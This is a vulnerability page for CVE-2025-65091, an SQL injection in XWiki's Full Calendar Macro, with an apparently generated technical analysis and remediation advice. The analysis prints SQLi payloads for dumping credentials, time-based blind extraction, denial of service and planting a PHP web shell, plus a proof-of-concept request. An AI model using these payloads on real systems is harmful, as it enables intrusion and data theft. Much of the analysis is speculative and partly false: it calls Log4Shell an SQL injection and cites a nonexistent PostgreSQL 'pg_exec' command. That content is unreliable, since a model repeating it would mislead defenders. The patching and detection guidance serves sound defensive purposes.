CVE-2025-65091
CVE-2025-65091
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
XWiki Full Calendar Macro displays objects from the wiki on the calendar. Prior to version 2.4.5, users with the right to view the Calendar.JSONService page (including guest users) can exploit a SQL injection vulnerability by accessing database info or starting a DoS attack. This issue has been patched in version 2.4.5.
Comprehensive Technical Analysis of CVE-2025-65091 (XWiki Full Calendar Macro SQL Injection Vulnerability)
1. Vulnerability Assessment and Severity Evaluation
CVE ID: CVE-2025-65091
CVSS Score: 10.0 (Critical) – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Vulnerability Type: SQL Injection (SQLi)
Affected Component: XWiki Full Calendar Macro (Calendar.JSONService)
Severity Justification
The vulnerability is classified as Critical (CVSS 10.0) due to the following factors:
- Attack Vector (AV:N): Exploitable remotely over a network without authentication.
- Attack Complexity (AC:L): Low complexity; no special conditions required.
- Privileges Required (PR:N): No privileges needed; guest users can exploit.
- User Interaction (UI:N): No user interaction required.
- Scope (S:C): Changes in scope (impacts confidentiality, integrity, and availability of the entire XWiki instance).
- Impact (C:H/I:H/A:H): High impact on confidentiality (data exposure), integrity (data manipulation), and availability (DoS via resource exhaustion).
This vulnerability allows unauthenticated attackers to execute arbitrary SQL queries, leading to:
- Full database compromise (exfiltration of sensitive data).
- Remote code execution (RCE) if the database supports command execution (e.g., PostgreSQL with
pg_exec). - Denial-of-Service (DoS) via resource exhaustion (e.g.,
SELECT BENCHMARK(1000000000,MD5(NOW()))).
2. Potential Attack Vectors and Exploitation Methods
Exploitation Path
-
Unauthenticated Access to
Calendar.JSONService- The vulnerable endpoint (
Calendar.JSONService) is accessible to guest users (no authentication required). - Attackers can send crafted HTTP requests to this endpoint to inject malicious SQL payloads.
- The vulnerable endpoint (
-
SQL Injection Payload Delivery
- The vulnerability likely stems from improper input sanitization in the calendar macro’s query construction.
- Example attack vectors:
-- Basic SQLi to dump database contents ' UNION SELECT 1,2,3,username,password,6 FROM xwiki.users -- -- Time-based blind SQLi (for data exfiltration) ' OR IF(SUBSTRING((SELECT password FROM xwiki.users LIMIT 1),1,1)='a',SLEEP(5),0) -- -- DoS via resource exhaustion '; SELECT BENCHMARK(1000000000,MD5(NOW())); --
-
Post-Exploitation Impact
- Data Exfiltration: Extraction of user credentials, wiki content, or sensitive metadata.
- Database Manipulation: Modification or deletion of records.
- Privilege Escalation: If the database contains admin credentials, attackers may gain full control over XWiki.
- DoS: Repeated heavy queries can crash the database or exhaust server resources.
Proof-of-Concept (PoC) Exploitation
A basic PoC to test for vulnerability:
GET /xwiki/bin/view/Calendar/JSONService?param=1'%20UNION%20SELECT%201,2,3,username,password,6%20FROM%20xwiki.users%20--%20HTTP/1.1
Host: vulnerable-xwiki-instance.com
If the response contains usernames and password hashes, the system is vulnerable.
3. Affected Systems and Software Versions
Vulnerable Software
- XWiki Full Calendar Macro (all versions prior to 2.4.5).
- XWiki Platform (if the vulnerable macro is installed).
Affected Environments
- XWiki instances where:
- The Full Calendar Macro is installed.
- Guest users have access to
Calendar.JSONService. - No additional hardening (e.g., WAF, input validation) is in place.
Mitigation Status
- Patched Version: 2.4.5 (released to fix the SQLi vulnerability).
- Workaround: Restrict access to
Calendar.JSONServicevia XWiki permissions or network-level controls.
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade to the Latest Version
- Apply XWiki Full Calendar Macro 2.4.5 or later.
- Verify the patch by checking the commit: GitHub Patch (5fdcf06)
-
Restrict Access to
Calendar.JSONService- XWiki Permissions: Remove guest/user access to the vulnerable endpoint.
- Network-Level Controls: Block access via firewall rules or reverse proxy restrictions.
-
Temporary Workarounds (if patching is delayed)
- Input Validation: Implement strict input sanitization for calendar parameters.
- Web Application Firewall (WAF): Deploy rules to block SQLi patterns (e.g., OWASP ModSecurity Core Rule Set).
- Database Hardening: Restrict database user permissions to minimize impact.
Long-Term Security Measures
-
Code Review & Secure Development
- Audit all XWiki macros for SQLi vulnerabilities.
- Enforce prepared statements (parameterized queries) instead of dynamic SQL.
- Implement least privilege for database users.
-
Monitoring & Detection
- Log Analysis: Monitor for unusual SQL queries in database logs.
- Intrusion Detection: Deploy IDS/IPS to detect SQLi attempts.
- Anomaly Detection: Use SIEM tools to flag suspicious calendar macro requests.
-
Regular Vulnerability Scanning
- Use tools like OWASP ZAP, Burp Suite, or Nessus to scan for SQLi.
- Subscribe to XWiki security advisories for future updates.
5. Impact on the Cybersecurity Landscape
Broader Implications
-
Widespread Exploitation Risk
- Given the CVSS 10.0 rating and unauthenticated access, this vulnerability is highly attractive to attackers.
- Automated exploitation (e.g., via botnets) is likely, leading to mass compromises of XWiki instances.
-
Targeted Attacks on Enterprises & Governments
- XWiki is used in enterprise collaboration, documentation, and knowledge management.
- Attackers may target internal wikis to steal intellectual property, credentials, or sensitive documents.
-
Supply Chain & Third-Party Risks
- If XWiki is integrated with other systems (e.g., CI/CD, CRM), a breach could lead to lateral movement into connected environments.
-
Regulatory & Compliance Violations
- Unauthorized data access may violate GDPR, HIPAA, or CCPA, leading to legal penalties.
Historical Context
- Similar unauthenticated SQLi vulnerabilities (e.g., CVE-2021-44228 Log4Shell, CVE-2023-34362 MOVEit) have led to large-scale breaches.
- The low attack complexity and high impact make this a prime target for ransomware groups, APTs, and script kiddies.
6. Technical Details for Security Professionals
Root Cause Analysis
- The vulnerability exists in the
Calendar.JSONServicecomponent, which dynamically constructs SQL queries without proper sanitization. - Likely vulnerable code snippet (pre-patch):
// Example of unsafe SQL query construction String query = "SELECT * FROM events WHERE date = '" + userInput + "'"; - Patched code (post-2.4.5):
// Secure parameterized query PreparedStatement stmt = connection.prepareStatement("SELECT * FROM events WHERE date = ?"); stmt.setString(1, userInput);
Exploitation Techniques
-
Union-Based SQLi
- Used to extract data by appending a malicious
UNION SELECTclause. - Example:
' UNION SELECT 1,2,3,username,password,6 FROM xwiki.users --
- Used to extract data by appending a malicious
-
Blind SQLi (Time-Based)
- Used when error messages are suppressed.
- Example:
' OR IF(SUBSTRING((SELECT password FROM xwiki.users LIMIT 1),1,1)='a',SLEEP(5),0) --
-
Out-of-Band (OOB) SQLi
- If the database supports external requests (e.g., MySQL
LOAD_FILE, PostgreSQLCOPY), attackers can exfiltrate data via DNS or HTTP callbacks.
- If the database supports external requests (e.g., MySQL
Post-Exploitation Scenarios
-
Database Dumping
- Extract all user credentials, wiki pages, and configuration data.
- Tools: sqlmap, Havij, or custom scripts.
-
Privilege Escalation
- If admin credentials are stored in the database, attackers can take over the XWiki instance.
- Example:
' UNION SELECT 1,2,3,'Admin','admin123',6 --
-
Remote Code Execution (RCE)
- If the database supports command execution (e.g., PostgreSQL
pg_exec), attackers can gain shell access. - Example (PostgreSQL):
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/shell.php'; --
- If the database supports command execution (e.g., PostgreSQL
-
Denial-of-Service (DoS)
- Execute resource-intensive queries to crash the database.
- Example:
'; SELECT BENCHMARK(1000000000,MD5(NOW())); --
Detection & Forensics
-
Log Analysis
- Check XWiki logs (
/var/log/xwiki/) for unusualCalendar.JSONServicerequests. - Look for SQL error messages in database logs (e.g., MySQL
error.log, PostgreSQLpostgresql.log).
- Check XWiki logs (
-
Network Traffic Analysis
- Monitor for unusual HTTP requests to
/xwiki/bin/view/Calendar/JSONService. - Look for SQLi patterns (e.g.,
UNION SELECT,SLEEP,BENCHMARK).
- Monitor for unusual HTTP requests to
-
Database Forensics
- Check for unauthorized queries in database audit logs.
- Look for new admin accounts or modified permissions.
Conclusion & Recommendations
CVE-2025-65091 is a Critical SQL Injection vulnerability in XWiki’s Full Calendar Macro, allowing unauthenticated attackers to execute arbitrary SQL queries, exfiltrate data, and potentially gain remote code execution. Given its CVSS 10.0 severity, immediate patching is mandatory.
Key Takeaways for Security Teams
✅ Patch Immediately: Upgrade to XWiki Full Calendar Macro 2.4.5.
✅ Restrict Access: Block guest/user access to Calendar.JSONService.
✅ Monitor & Detect: Deploy WAF rules and log analysis to detect exploitation attempts.
✅ Audit & Harden: Review all XWiki macros for similar vulnerabilities and enforce secure coding practices.
Failure to mitigate this vulnerability could result in a full system compromise, data breaches, and regulatory penalties. Organizations using XWiki should treat this as a high-priority security incident and respond accordingly.
References: